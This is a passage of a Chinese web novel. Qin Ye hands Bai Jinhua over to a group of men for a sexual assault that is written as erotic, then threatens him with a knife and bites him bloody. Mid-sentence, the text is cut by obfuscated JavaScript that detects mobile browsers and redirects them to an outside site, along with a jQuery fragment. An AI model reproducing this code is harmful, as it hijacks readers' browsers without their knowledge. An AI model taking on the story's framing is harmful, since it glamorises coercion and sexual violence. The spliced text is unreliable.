白槿华后背贴到了冰冷的茶几上,从他这个角度,能轻易看到秦邺,秦邺这会沉沉地看着他,白槿华从那双阴鸷的眼底,只能窥视到一种情绪,那就是残酷。
他只是他手里的一个能随便被玩挵的猎物而已,他这个猎物不如他的意,那他就把他给推出去。
他有这个权力,可以左右他的一切。
这样的强权,白槿华过去从未接触过,很多的人,都会羡慕权势,只要有机会,一些人会削尖了脑袋凑上去。
曾经有许多机会出现在白槿华面前,他能够去接近权贵,甚至和他们成为朋友。
但他却始终都坚信着一个事实,那就是任何时候,任何地方,与人交往,如果没有利益来往,纯靠所谓的感情,是根本不行的。
尤其是那些上层人,权贵,他们更看重利益。
甚至他们眼里,或许感情都是一种利益。
白槿华没钱没势,他给不了权力,如果要和权贵在一起,他只能给他所拥有的。
他有的是他的身体,和他的感情。
可这些东西给出去,真的能让人随便满意吗?
不会的,只会被要求的越来越多。
白槿华是个吝啬的人,他可以给,但得他自愿,不是自愿的,不管对方是谁,他都不会靠近。
白槿华视线从秦邺那里移开,转到已经从四周聚拢到他身边的人。
这些人,十多个人,被秦邺给指使着,前来共享他。
白槿华忽然想笑,他再次轻声的笑,这次笑了好一会,笑得眼底都隐隐有一些泪花在闪烁。
他可以爬起来,将他们都给打倒吗?
有酒瓶,他可以拿酒瓶砸他们的脑袋。
之后等待他的又是什么,也许就不是十几个人,而是几十个人,甚至更多吧。
兴许秦邺会找一条狗来動他?
这个念头,让白槿华笑得浑身都在哆嗦。
他的手被抓着,脚也被抓住,摁住他的脚的人,哪怕小心翼翼,可却很快就开始藦挲起了他的脚踝。
那种被人亵,玩和侮辱的情绪,顷刻间在白槿华的身体里炸开。
他选择闭上眼睛。
感官是敏锐的,又由于事情太过的疯狂,导致白槿华有种强烈的不真实感。
不是梦,他知道,过于真实,所以不可能是梦。
越是清醒越觉得荒诞。
太过荒诞了,反倒像是假的。
白槿华心底叹息了一声,本来想的是干脆闭上眼睛,由着这些人随便怎么玩挵他,只是既然秦邺在旁边看着,如果自己不做点什么,白槿华会觉得,只是让秦邺看到他被人玩,未免太过简单了。
不如他主動点好了。
白槿华直接抬起脚,用他修长的脚去勾一个人的身体,靠近后,脚尖轻轻地蹭着,白槿华不去看别人,只盯着那个被他的脚蹭着的人。
那个人很年轻,估计年龄和白槿华差不多,说不定还小一点。
白槿华朝着他弯着唇,琥珀的眼,全都是撩人的春色。
当他专注看着一个人的时候,就像动物一样的目光,毫无眨动,仿佛整个世界都消失了般,唯有对方才是他的整个世界。
那是个直男,或者说是自认为直男的人。
只是被白槿华拿脚蹭了一下,眼眸勾了一下,就已经身心被撼动到,过往的自制力,全部崩溃,他坐着白槿华撩拨他的脚,手指开始往白槿华的裤腿里钻,白槿华穿的宽松,裤脚被推上去一点,导致他纤细的小腿暴露在众人眼里。
露出来的皮肤异常的细,腻和雪白,在包厢橘黄的灯光晕染下,似乎有一层薄薄的柔光。
大概有的人拍照再后期修图,都难以修改成白槿华这样。
他安静躺在茶几上,被几个人给摁住手脚,可他的表情和神态,完全没有被控制和束缚,甚至是要被人给一起轮了的恐惧和害怕。
一众人已然被白槿华给诱惑到了,他们靠得更近,有人的手来到白槿华的领口,将他衣服上面更多的扣子给解开。
白槿华穿了两件,外套脫了后,里面是一件T恤,T恤没有扣子,没法解开,但却更方面这些人了。
男人抓着白槿华T恤的下摆,稍微往前面一掀,细柔的崾肢腹部,展露在一众人眼睛里。
那片腹部是平坦的,微微往下凹陷,显然一丁点多余的赘肉都没有。
非常漂亮的身体,更多的手往白槿华的身上放,不过依旧有人下意识去看秦邺,秦邺安静坐在那里,大家都站着,唯有他还坐着,他眸光灰暗到骇人可怖,只是他不喊停,其他人早就被白槿华的脸和身体给迷上了。
众人互相看了看,有个人不知道从哪里拿了一把刀子出来,在他看来,直接给白槿华把衣服脫了,差点味道。
还是划开他的衣服,更有观赏性。
那人将刀子放在白槿华的裤脚上,从下往上,刀子异常的锋利,轻而易举就把白槿华的褲子给划破了。
方向划的,所以不会伤到白槿华。
这么漂亮的宝贝,也没人想要随便让白槿华流血。
屋里也没有适合用来做潤滑的,于是有人打算先自己来一下,这样一来可以用他的东西给漂亮的宝贝拡一下,免得一会出血,到时候不等所有人都玩过,也许人会自己受不了。
那人开始解开了褲子纽扣,拉下了拉鏈,他一双慾望填満的眼,全凝在白槿华的脸上,忽的,觉得自己来不够味道,于是他推开旁边的人,将白槿华的手给捉住,然后往他褲子中间摁,东西还没拿出来,但已经开心地抵出点痕迹来了。
白槿华扭头看了那人一眼,穿得倒是衣冠楚楚,做的事,却跟禽;兽没区别。
禽,兽,被禽,兽玩的他,难道不也算是禽;兽吗?
白槿华没有拒绝,眼看着他的手就要接触到那人的东西了,就在这个时候,忽然间一道痛苦的呼声从那人嘴里发出来。
对方完全来不及反应,身体就被一脚踹开,那一脚踹在他的身上,剧痛从腹部袭来,一根肋骨断裂了。
男人倒在地上,痛苦地卷缩着身体,周身都颤抖不已。
另外的那些人,此时全没了动作,一个两个宛如身体僵住,成了一尊尊石雕似的。
他们看到坐着的秦邺,走了过来,一脚把抓着白槿华手的男人给踢开,秦邺俯视男人的眼神,即便是旁人看到了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374164|183432||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心脏几乎停滞了跳动,哪怕张开嘴巴,可是氧气没有了,喉骨圧抑刮痛到了极点。
无人说话,到处恐怖的死寂在弥漫。
秦邺缓缓转身,他眸光晦暗如深,定格在躺在茶几上的白槿华。
白槿华只是惊讶了片刻,随后嘴角勾了一抹浅笑来,那种神态,仿佛在埋怨秦邺打扰了他的好事一般。
比起被他一个人玩,他更喜欢被一群人玩?
秦邺不认为白槿华真是这样,他就是在故意和他作对而已。
表现得被十多个人玩都无所谓,其实本质上,是在跟他挑衅。
秦邺抬起手,脸色阴暗到可怖:“滚出去!”
一众人一秒钟都不敢多留,都是用逃的,逃出包厢。
房门打开又关上,屋里安静到,似乎只有呼吸声。
连呼吸声都是细微的。
白槿华手脚都被放开,没有人再按着,他身体自由了,可他却没有立刻从茶几上起来,而是继续那样躺着。
秦邺往前走了一步,拉近他和白槿华的距离,他眸光微微地落下,和白槿华四目相对,琥珀色的眼,除开冷淡之外,丝毫的不安和畏惧都看不到。
刀子还放在茶几上,秦邺伸手把刀子给拿过来,而后他将刀子给放到了白槿华的脸颊上。
冰冷的刀片贴着薄薄的脸庞,但凡一个不小心,都可以立刻将白槿华冷艳的脸蛋给划破,让他再也不能靠他的脸来勾引谁,诱惑谁了。
他倒是不会在意白槿华毁不毁容,白槿华这具身体很好睡,他喜欢,就算是脸坏了,身体不坏就行。
还能继续让他玩。
秦邺声音里裹挟着浓烈化不开的残酷:“我有很多种方法让你以后离不开男人,只能每天求着别人愺你,你想不想试一试?”
秦邺倾身靠近,他另外一只手撑在白槿华的脸颊边,秦邺呼出的濕熱气息,扑到了白槿华的脸上。
白槿华眸光有所闪烁,在秦邺逼兀残忍的目光下,白槿华嘴唇微启:“我相信秦少你什么事都可以办到。”
秦邺吐出的气息都弥漫了血腥味。
他拿开了刀子,真的划伤这张脸,他还是会舍不得,毕竟他当初看上白槿华就是因为他这张脸。
要是伤了,哪怕只是一点痕,迹,秦邺自己都会心疼。
秦邺扣着白槿华的后颈,逼着他不得不把脸给往后仰,秦邺低头在白槿华左边耳朵上咬了一口,那只耳朵有两颗黑色的小痣,这会被秦邺牙齿圧迫,鲜血眨眼间把黑色的小痣都给染得血红。
几滴濃稠的血液流出来,秦邺只是看着,竟觉得白槿华的血液,应该是馨甜的。
他再次靠近,这次是轻轻的啜着,把流出来的血液,都给啜到了自己的嘴里。
真的有些微甜。
白槿华拿秦邺怪异外星人的眼神看他,秦邺望进到白槿华的眼底,这双琥珀的眼,果然还是只看着他一个人就好。
刚才的那些人,虽然是他主动把白槿华送给他们的。
但碰过白槿华的身体的人,秦邺全部都记了下来。
他难以放过他们,碰触到他的人,就该受到应有的代价,即便是他让他们動的。